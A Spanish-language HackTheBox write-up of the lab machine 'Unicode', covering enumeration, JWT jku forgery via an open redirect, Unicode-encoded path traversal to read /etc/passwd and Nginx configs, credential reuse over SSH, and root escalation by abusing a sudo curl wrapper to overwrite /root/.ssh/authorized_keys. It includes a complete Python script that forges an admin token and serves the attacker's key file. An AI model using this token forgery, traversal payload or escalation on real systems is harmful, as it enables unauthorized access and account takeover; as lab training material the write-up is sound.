Home Hackthebox Writeup Unicode
Post
Cancel

Hackthebox Writeup Unicode

Enumerando encontramos un servicio web en el cuál podemos iniciar una sesión y obtener una cookie en formato JSON Web Token (JWT) con el campo JKU expuesto que permite crearnos una cookie para entrar como administrador. Existe un apartado vulnerable a Local File Inclusion (LFI) que nos permite enumerar archivos de configuración del servidor Nginx y obtener credenciales de un usuario para entrar por el protocolo Secure Shell (SSH). Para la escalada de privilegios logramos la authorización de nuestro par de llaves de autenticación por medio de la herramienta curl, que era parte de un binario que podiamos ejecutar como root.


Unicode

OSIPRelease DateDifficultyPoints
Linux10.10.11.12627 Nov 2021Medium30

Antes de empezar la máquina es importante revisar si tenemos conexión con ella, para ello usamos el comando ping:

Ping

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Sistema Operativo por aprox. del TTL (Time To Live) : 64 -> Linux | 128 -> Windows

Enumeration


Comenzamos escaneando los puertos TCP abiertos con la herramienta nmap:

Nmap

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

--open : Escanear solo puertos abiertos

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-v : Imprimir información del proceso del escaneo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-oG <file> : Guardar output en un archivo (<file>) de formato grepable

Observamos que la máquina tiene abierto el puerto 22 (ssh) y 80 (http), asi que procedemos a escanear de manera específica cada uno de estos puertos:

OpenPortsTCP

Explicación de parámetros :

-p<port_1,port_2,...> : Indicamos que puertos queremos escanear

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

Omitimos entrar por el puerto 22 ya que no disponemos de credenciales para entrar por SSH.

Observamos que hay un servicio http por el puerto 80, así que ejecutamos un whatweb para obtener un poco mas de información y por otro lado ingresamos a la página por el navegador

Whatweb

Toqueteando un poco encontramos un botón con una redirección a una URL específica, y secciones para registrarnos y logearnos:

Htpp_home

Intentamos registrarnos:

Htpp_register

Nos logeamos:

Htpp_login

Y ya tenemos una sessión:

Htpp_session

De primeras solo hay de interesante subir un archivo, lo cúal puede ser una brecha, pero intentando un poco no conseguimos nada.

Lo que sí, ayudandonos un poco del nombre de la máquina Unicode, y que tenemos una sesión, pues al observar la cookie de sesión vemos algo interesante:

Http_session_cookie

Si conoces un poco de formatos sabras por la separación de puntos(.) de que se trata.

Si es la primera vez que miras una cookie así, lo que puedes hacer es intentar decodearla a un formato clásico, en este caso a base64:

Http_session_\decode

Logramos observar una estructura en formato json y vemos que en un campo especifica el tipo JWT, y averiguando un poco encontramos:

JWT

Ahora que ya tenemos una idea procedemos a decodear la cookie para ver mas información, usamos una página muy útil: https://jwt.io

JWT_IO

Observamos en el campo jku un enlace al archivo jwks.json, primero averiguamos de que va para luego saber que vamos a encontrar:

JWT_jku

Para ver el archivo necesitamos aplicar Virtual hosting agregando nombre de dominio hackmedia.htb a nuestro archivo /etc/hosts: echo "10.10.11.126 hackmedia.htb" >> /etc/hosts

Una vez dentro observamos el contenido:

JWT_json

Sabiendo todo esto, tendriamos una brecha para poder conseguir una cookie de sessión pero como admin.

Foothold


El ataque consiste en crear token para logearnos como usuarios admin, para ello debemos hacer lo siguiente:

  1. Generamos un par de llaves para firmar nuestro token keypair.pem
  2. Descargamos el archivo http://hackmedia/static/jwks.json
  3. Extraemos de keypair.pem las llaves para validación y las asignamos al archivo jwks.json
  4. Generamos nuestro token con los campos correspondientes. Y un paso importante, usamos la redirección que tiene la página href="/redirect/?url=google.com"
  5. Reemplazamos en el campo jku para que apunte a nuestro archivo jwks.json y valide el token
  6. Abrimos un servicio por un puerto para que pueda leerse el archivo jwks.json
  7. Asignamos la cookie a la página web, actualizamos, recibimos la peticioń en nuestro servicio en escucha y ya somos admin

Para agilizar el proceso hize un script en python el cúal pasando los parámetros IP-ATACANTE, PUERTO, COOKIE, IP-VÍCTIMA logra generarte el token del usuario admin, abrirte un servicio en el puerto especificado, para luego asignar la cookie a la web, actualizar y listo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/python3

import os
import sys
import subprocess
import requests
import pdb
import json
import jwt as jwt_header
from jwcrypto import jwk as jwk_crypt, jwt as jwt_crypt
import time
from termcolor import cprint
import signal

#ctrl+c
def handler(signum, frame):
    remove_files()
    printRed("\n[-] Exiting...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, handler)

#JWK packages
def requirements():
    printRed("\n\n[!] Requirements!\n")
    printGreen("\t[+] pip install jwcrypto\n")
    printGreen("\t[+] pip install PyJWT\n")

#colors
printRed = lambda s: cprint(s, 'red', end=' ')
printYellow = lambda s: cprint(s, 'yellow', end=' ')
printMagenta = lambda s: cprint(s, 'magenta', end=' ')
printGreen = lambda s: cprint(s, 'green', end=' ')

#panel_help
def help():
    printYellow("\n[*] Uso : ")
    printMagenta(f"python3 {sys.argv[0]} <ip_address> <port> <cookie_session>")
    requirements()
    exit(1)  

#valid_input
if len(sys.argv) != 4: help()

#global variables
ip = sys.argv[1]
port = sys.argv[2]
user_token = sys.argv[3]

#create keys
def gen_key():
    subprocess.run(['openssl', 'genrsa', '-out', 'keypair.pem', '2048'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)

#remove files 
def remove_files():
    subprocess.run(['rm', 'keypair.pem', 'jwks.json'])

#get header token
def get_headers():
    headers = jwt_header.get_unverified_header(user_token)
    return headers

#decode user_token
def download_json():
    headers = get_headers()
    jku = headers['jku']
    os.system(f"wget {jku} 2>/dev/null")

#create new json
def create_json(key):
    with open("jwks.json", "r") as jsonfile:
        data = json.load(jsonfile)
    data['keys'][0]['kid'] = key.kid
    data['keys'][0]['n'] = key.n
    data['keys'][0]['e'] = key.e

    with open("jwks.json", "w") as jsonfile:
            json.dump(data, jsonfile)

#get data token
def get_data_key():
    with open("keypair.pem", "rb") as pemfile:
        key = jwk_crypt.JWK.from_pem(pemfile.read())
    return key

#create token
def gen_token(key):
    headers = get_headers()
    token = jwt_crypt.JWT(
                header = {
                        "alg" : headers['alg'],
                        "jku" : f"http://hackmedia.htb/static/../redirect/?url={ip}:{port}/jwks.json"
                    },
                claims = {
                        "user" : "admin"
                    }
            )
    token.make_signed_token(key)
    return token.serialize()
     
#port sharing manually
def listen_port(port):
    printYellow(f"\n\n[+] Opening port {port} to share")
    printRed("jwks.json")
    printYellow("file...")
    printYellow(f"\n[+] Serving HTTP on 0.0.0.0 port {port}:\n")
    subprocess.run(['python3', '-m', 'http.server', str(port)])

if __name__ == '__main__':

    gen_key()
    download_json()
    key = get_data_key()
    create_json(key)
    admin_token = gen_token(key)
    printRed("\n[+] Admin token: ")
    printGreen(f"{admin_token}")
    listen_port(port)

Pueden clonar el script en mi respositorio: https://github.com/E1P0TR0

EXPLOIT

Ejecutando el script y siguiendo los pasos anteriores ya estariamos logeados como admin:

Http_admin_page

Después de toquetear un poco encontramos una sesión de reportes donde podemos observar que se utiliza un archivo pdf que proviene de otra locación:

Http_admin_report

Podriamos estar frente a un LFI (Local File Inclusion), y en específico a un path traversal attack

Entonces intentamos un ataque básico al /etc/passwd:

Http_admin_filter

Interesante!, pues al parecer exite un filtro. Pero otra vez, tomando el cuenta el nombre de la máquina Unicode podemos intentar buscar vulnerabilidades asociadas

Buscando en la biblia de los hackers Hacktricks encontramos como engañar al filtro remplazando el caracter \ por su equivalente en Unicode %ef%bc%8f y con ello crear el path malicioso para comprobar si es vulnerable: ..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd:

Http_path_attack_validation

Http_ffuf_scan

Explicación de parámetros :

-c : Output colorido

-mc <status_code> : Solo mostrar respuesta del código de estado asignado

-w <wordlist> : Wordlist a usar para el ataque de fuerza bruta

-b <cookie> : Asignar nuestra cookie de sessión

-u <url> : Url objetivo con el reemplazo del FUZZ correspondiente

-fw <number> : Filtrar por cantidad de palabras en la respuesta

Pueden clonar la herramienta en el siguitent repositorio: https://github.com/ffuf/ffuf

No llegamos a encontrar nada interesante, pero sabemos que podemos buscar archivos del sistema. Por ello, intentamos encontrar archivos de configuración del servidor web/proxy Nginx que corre en el sistema

Investigando un buen tiempo encontramos algunos archivos de configuración de Nginx:

Http_Nginx_config_files

En el primer archivo no encontramos nada interesante, pero en el segundo que es un directorio para alojar Server block encontramos en internet que hay uno por defecto llamado default:

Http_Nginx_server_block

Ojito, al entrar encontramos un comentario sobre un cambio de contraseña de un usuario y se encuentra en un archivo db.yaml:

Http_Nginx_default_server_block_config

Observamos el path /home/code/coder/static/styles/, y el usuario code que anteriormente vimos en el /etc/passwd.

Entonces vamos buscando la locación del archivo db.yaml, logramos encontrarlo en /home/code/coder/db.yaml y son unas credenciales de mysql:

User_credentials

Recordamos que tenemos el puerto SSH abierto, y como vemos que tenemos un usuario y contraseña probamos la credenciales encontradas como el usuario code y obtenemos la flag:

Code_ssh_login

Privilege Escalation


Ya dentro como el usuario code, como es costumbre usamos scripts básicos para buscar binarios con permisos SUID find \ -perm -4000 2>/dev/null o binarios que podemos ejecutar como root sudo -l:

Code_sudo_binary

Observamos que podemos ejecutar el binario /usr/bin/treport como root:

Treport_binary

De las tres opciones la más interesante es la 3. que nos permite descargar archivos.

Pero antes de eso debemos saber que está usando el binario por detrás para hacer las descargas. Para ello hay dos maneras:

  • Insertar un campo vacío en la opción 3:

Treport_detect_curl

  • Insertar un campo vacío en la opción 1 y visualizando que hay un archivo en python usar una herramienta para extraer archivos en python pyinstxtractor y luego otra herramienta para decompilarla, sea legible pycdc y poder visualizar el archivo treport.py:

Treport_detect_curl

Treport_python_code

En ambos casos observamos que la herramienta que está por detrás es curl, asi que es posible que tengamos una brecha para escalar privilegios

Investigando un poco encontré que podemos descargar archivos del equipo local con curl usando el protocolo FILE:

Curl_Protocol

Usando el comando File:///root/root.txt podemos descargar la flag de root para luego visualizarla:

Flag_root

Pero lo que queremos es entrar como usuarios root asi que intenté leer si había una llave privada para entrar por SSH, pude obtenerla pero al entrar me pedía contraseña, asi que busqué otra manera.

Lo que hice fue crearme un par de llaves rsa:

Keys_generate

Enviar la llave pública a la máquina víctima al directorio /tmp:

Share_pubkey

Cambiar el nombre de la llave pública (id_rsa.pem) a authorized_keys, luego usando el binario treport junto a curl copiar el archivo a la ruta /root/.ssh/ y así desde mi máquina entrar con la llave privada que también generé:

Move_authorized_keys

Verificamos el archivo /root/.ssh/authorized_keys:

Verify_authorized_keys

Observamos que se encuentra nuestra llave pública, así que ahora asignamos permisos a nuestra llave privada, nos logeamos como root por el puerto 22 por ssh y pa-dentro!:

Pwned


This post is licensed under CC BY 4.0 by the author.